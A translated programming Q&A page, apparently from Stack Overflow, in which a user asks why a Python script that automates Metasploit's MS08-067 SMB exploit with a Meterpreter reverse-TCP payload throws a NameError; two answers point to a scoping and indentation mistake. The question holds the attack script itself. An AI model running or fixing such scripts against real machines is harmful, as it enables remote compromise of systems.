0

我正在使用以下代码来自动化 Metasploit:

import os, msfrpc, optparse, sys, subprocess
from time import sleep

def sploiter(RHOST, LHOST, LPORT, session):
 client = msfrpc.Msfrpc({})
 client.login('msf', '123')
 ress = client.call('console.create')
 console_id = ress['id']

 RHOST="192.168.1.102"
 LPORT="444"
 LHOST="127.0.0.1"

commands = """use exploit/windows/smb/ms08_067_netapi
set PAYLOAD windows/meterpreter/reverse_tcp
set RHOST """+RHOST+"""
set LHOST """+LHOST+"""
set LPORT """+LPORT+"""
set ExitOnSession false
exploit -z
"""
print "[+] Exploiting MS08-067 on: "+RHOST
client.call('console.write',[console_id,commands])
res = client.call('console.read',[console_id])
result = res['data'].split('\n')

但它不起作用,我收到错误:

client.call('console.write',[console_id,commands]) NameError: name 'client' is not defined

问题是什么?有没有其他可以以类似方式工作的脚本?

4

2 回答 2

3

您的缩进已关闭。所以clients.call()在你在 sploiter 函数中创建它的上下文之外执行。

于 2016-02-10T08:07:33.633 回答
1

您的客户端仅存在于您的 sploiter 方法中。我对 python 不是很熟悉,但我认为你可以调整 sploiter 方法,以便它返回客户端。

client = msfrpc.Msfrpc({})
client.login('msf', '123')
return client

在下面的部分中,您可以执行类似的操作

client = sploiter(Parameter1, Parameter2, Parameter3, Parameter4)
client.call('console.write',[console_id,commands])
于 2016-02-10T08:23:26.387 回答